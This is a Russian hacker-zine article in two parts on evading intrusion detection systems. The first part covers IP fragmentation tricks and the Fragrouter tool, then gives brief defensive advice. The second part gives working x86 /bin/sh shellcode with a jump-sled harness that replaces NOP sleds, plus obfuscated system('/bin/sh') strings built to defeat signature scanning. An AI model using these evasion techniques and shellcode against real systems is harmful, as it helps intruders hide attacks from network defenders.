| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |
Так получилось, что данная статья была написана CodePimps zine staff, но недавно я обнаружил еще одну статью на эту тему, поэтому я решил не кидать на нее линк, а приложить к нашей статье. Думаю, так будет информативнее, поэтому сначала читайте статью от ICWiener, а затем, в продолжение темы, нашу..
-------------[статья от ICWiener ([email protected])]-------------
Что такое IDS?
Есть две разновидности IDS (Intrusion Detection System): сетевая и IDS для хоста. В основном они работают по одному принципу. Они перехватывают все данные из сети и сопоставляют со своей базой сигнатур атак, пытаясь выявить атаки. При обнаружении атаки IDS оповещает администратора по e-mail, отсылает сообщение на пейджер/SMS или посылает сообщение системе управления сетью.
Пример работы IDS. В данном примере сетевая IDS оповещает администратора о том, что кто-то хочет подключиться к демону telnet.
Как обмануть IDS?
Атакующие хотят остаться незамеченными IDS. Как же этого добиться? Для того чтобы избежать обнаружения IDS, атакующий может воспользоваться взаимодействием следующих факторов:
Изменением вида информации, которая не соответствует сигнатуре атак, поскольку атаки обнаруживаются путём сравнивания поступающей информации с сигнатурами атак из базы данных IDS. Иногда это может быть новый тип атаки, о котром IDS не знает или это просто стандартная атака, в которой модифицирована структура или синтаксис пакета.
Изменением ситуации (относится к сетевым IDS), так как сетевые IDS не имеют точного представления о том, как конечная система будет обрабатывать полученные данные, которые IDS перехватывает. Сетевая IDS просто вклинивается во взаимодействие систем.
Методы, связанные с предотвращением обнаружения атак, называются методами обмана IDS. Сейчас очень широко изучаются методы обмана IDS, и разрабатываются новые инструменты. Развитие способов обмана IDS – это та область, где нужно постоянно отслеживать новые изменения. Рассмотрим некоторые методы обмана IDS.
На сетевом уровне.
На IP-уровне сетевые устройства могут фрагментировать пакеты для оптимизации их длинны при передаче по различным каналам связи. Большой IP-пакет ( а также его содержимое, представляющее собой TCP- либо UDP- пакет или пакет другого типа) разбивается на группу фрагментированных пакетов, к каждому из которых присоединяется свой IP-заголовок. Фрагменты один за другим пересылаются по сети и собираются на машине получателя в один первоначальный пакет.
Когда такие фрагменты проходят через сетевую IDS, она должна их перехватить, проанализировать и запомнить. Значит у IDS должен быть большой буфер для хранения получаемой информации. Сбор и анализ получаемых пакетов требует значительного объема памяти и длительной работы процессора исключительно для IDS. Чтобы проверить информацию отражённую в фрагментах, нужно собрать эти фрагменты воедино так же, как это делает конечная система. К сожалению (к радости атакующих разные IDS по разному составляют фрагменты. Зная о том, как IDS соединяет фрагменты, атакующий способен обмануть систему IDS при помощи следующих методов:
Просто использовать фрагменты: возможно IDS просто не соединяет их. Ранние реализации IDS не могли собирать фрагменты. (пример: до июля 2000 года популярная бесплатная IDS Short не обрабатывала фрагменты, если с тех пор Short не обновлялась, то атаки применяемые с фрагментацией пакетов обнаружены не будут)
Отправка большого числа фрагментов: атакующий может попробовать заполнить весь объём памяти IDS, отправив такое количество фрагментированных пакетов, что буфер системы IDS переполниться. После проведения этого метода IDS не обнаружит атаку из-за переполнения памяти.
Фрагментировать пакеты неожиданными способами: для того чтобы не быть обнаруженным, атакующий может использовать фрагментацию пакетов необычными способами. Если IDS не знает, как правильно собрать пакет, то она не выявит атаки.
Влияние выше перечисленных методов сильно зависит от производителя систем IDS. Разберём несколько примеров, когда атакующий фрагментирует пакеты с целью обмана IDS. Существует множество различных способов фрагментации, но рассмотрим два из них, которые наглядно показывают методы обмана IDS при помощи фрагментации: атака небольшими фрагментами и атака наложением фрагментов.
Атака небольшими фрагментами: данная атака разработана для того, чтобы ввести в заблуждение IDS. Первый фрагмент делается очень маленьким (Вырезается середина TCP-заголовка), так что в него не входит номер TCP-порта. Номер порта находится во втором фрагменте. Допустим, система IDS просматривает пакеты на наличие конкретного TCP-порта (23), для того чтобы предупредить администратора если кто-то захочет установит telnet-соединение с данной машиной. Поскольку IDS выносит своё решение на основе номера порта, IDS может пропустить первый пакет. Ведь он не содержит номер порта. Также IDS может пропустить и второй пакет, ведь он часть первого (в нём содержится остальная часть TCP-заголовка и номер порта), а первый уже прошёл. Таким образом атакующий отправил два пакета и обманул IDS.
Атака наложением фрагментов: это пример более сложной фрагментации – основана на использовании поля смещения IP-заголовка. Поле смещения IP-заголовка сообщает системе получателя где находится данный фрагмент в целом пакете. Итак, посмотрим, как же атакующий может использовать поле смещения IP-заголовка при фрагментации IP-пакета в своих целях. Допустим, сетевая IDS проверяет пакеты на наличие порта 23. Атакующий разбивает пакет на два фрагмента. Первый фрагмент содержит TCP-заголовок с указанным портом 80 (к примеру), данный порт не отслеживается IDS. Второй фрагмент содержит TCP-заголовок с изменённым значением поля смещения. Данное значение очень мало, поэтому при соединение фрагментов в единый пакет часть первого фрагмента (в частности порт 80), замещается вторым фрагментом на порт 23. IDS игнорирует первый фрагмент (ведь он адресован на порт 80) и может пропустить второй фрагмент (ведь это часть первого безобидного пакета). Когда данные собираются воедино на конечной машине - целый пакет передаётся стеком TCP/IP приложению (демону). Всё, система IDS обманута!
Фрагментируем не отходя от кассы!
Существует много программ для фрагментации пакетов, но я хочу рассказать об одной. Инструмент Fragrouter, созданный Dug Song, включает в себя несколько атак фрагментаций. Fragrouter работает под системами BSD, Linux и Solaris, его можно нацти на www.anzen.com/researhc/nidsbench. Fragrouter поддерживает 35 различных методов фрагментации пакетов. Великолепие Fragrouter заключается в том, что он отделяет функции фрагментации от функций атак. Fragrouter – это просто программно реализованный маршрутизатор (router).
Атакующий устанавливает Fragrouter на одной из своих систем и затем с помощью любого инструмента атаки отправляет пакеты через компьютер (с установленным Fragrouter), там они фрагментируются по одному из 35 методов фрагментации и перестановке элементов. Затем Fragrouter отправляет пакеты получателю – атакуемой сети. Отделение функций фрагментации от инструментов атаки позволяет использовать любой инструмент для атаки.
Защита.
Следите за своевременным обновлением вашей системы IDS. Это очень важный момент – процесс обновления сигнатур IDS. Так как постоянно выявляются всё новые и новые атаки, необходимо обновлять платформу IDS каждый месяц или даже чаще. Если вы будете редко обновлять свою IDS, то скорее всего пропустите атаку на вашу сеть.
Используйте IDS для хоста и сетевую IDS вместе. В то время как сетевая IDS сканирует пакеты для всей сети, то IDS для хоста сканирует пакеты для определённого компьютера.
IDS для хоста применяются на особо важных серверах. Если пакет атакующего пройдёт через сетевую IDS до конечного компьютера, а на нём стоит IDS для хоста, то собрав фрагменты в один пакет IDS для хоста может обнаружить атаку.
P.S.: В этой стать я не рассказал об обмане IDS на прикладном уровне, но ещё не вечер, расскажу в следующих номерах.
Автор: ICWiener ([email protected])
-------------[статья от CodePimps staff]-------------
Этот мир и технологии постоянно меняются. В войне численное меньшинство окупается передовыми технологиями. В информационной войне, как и в других, выигрывает хитрейший, более умный и.. невидимый. Невидимость - вот что нужно хакеру в системе. Полное отсутствие следов, для этого необходима охуенная =) осторожность.
В последнее время появились такие системы, как Intrusion Detection Systems (далее просто IDS). Это системы-ловушки. Нет, это не honeypot, представляющийся в виде отдельной машины, IDS это программы-детектировщики, или, по-русски, твари, ищущие различные подозрительные программы и коды, "нюхающие" трафик, etc..
Мы разберемся с небольшой частью этих программ. А именно, как они ловят опасные шеллкоды. IDS сканят трафик на наличие "0x90" (NOP) и сигналят админу + запись в журнал. NOP применяется в шеллкоде, например, при написании эксплойта на переполнение буфера. Т.к. мы можем не знать конкретного адреса начала шеллкода, мы юзаем "0x90", что дает процессору команду пропустить такт, т.е. перейти к следующей команде. NOP == No Operation.
Xtremist когда-то описал проблему одной строкой:
for(i=0;i<(LEN-strlen(shellcode));i++){*(bof+i)=0x90;}
Он говорил, что кроме NOP существует оператор перехода к следующему действию, это "jmp 0x00". Однако, он описывал проблему использования оной инструкции так:
1) The jump instruction (0xeb 0x00) is two bytes unlike the NOP instruction which is only one byte. So the offset has to be more difficult to calculate because is the return address is in between 0xeb and 0x00 then crash, boom, bang :).
2) A nice shellcode isn't supposed to consist of binary 0's and this one does (0x00).
Решение же такого, нужно заменить "0x90" вот этим: "0xeb0x02". Т.е. если мы не можем перескочить 1 байт, то мы прыгнем на 2. Вот пример для x86:
char sc[] =
"\xeb\x1a\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3"
"\x8d\x4e\x08\x8d\x56\x08\x31\xd2\xcd\x80\xe8\xe1\xff\xff\xff/bin/sh";
char buf[256];
int main() {
/* memset(buf,0x90,256); */
int i;
for (i = 0; i < 256; i += 2)
*(short *) &buf[i] = 0xeb02;
memcpy(buf + 256 - strlen(sc), sc, strlen(sc));
((void (*)(void)) buf) ();
return 0;
}
Еще возможно, что нечто будет капать исходники и бинарники на нахождение чего-либо похожего на вызов шелла, т.е. например:
system("/bin/sh");
Эта тема поднималась в "Defaced issue 5", там предлагались такие способы:
system("../../../../../../../../../../../../../bin/sh");
system("/bin/s`echo h` -i");
Благодаря таким языкам, как bash и perl можно вообще замутить нечто сверхестесственное, так что не только IDS не поймет, но и человек. Что-нибудь типа:
system("p`echo e`r`echo l` -e (`sys`echo t`em("../../../../../../../../../../../../../bin/s`echo h` -i")`)");
etc..
|
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | |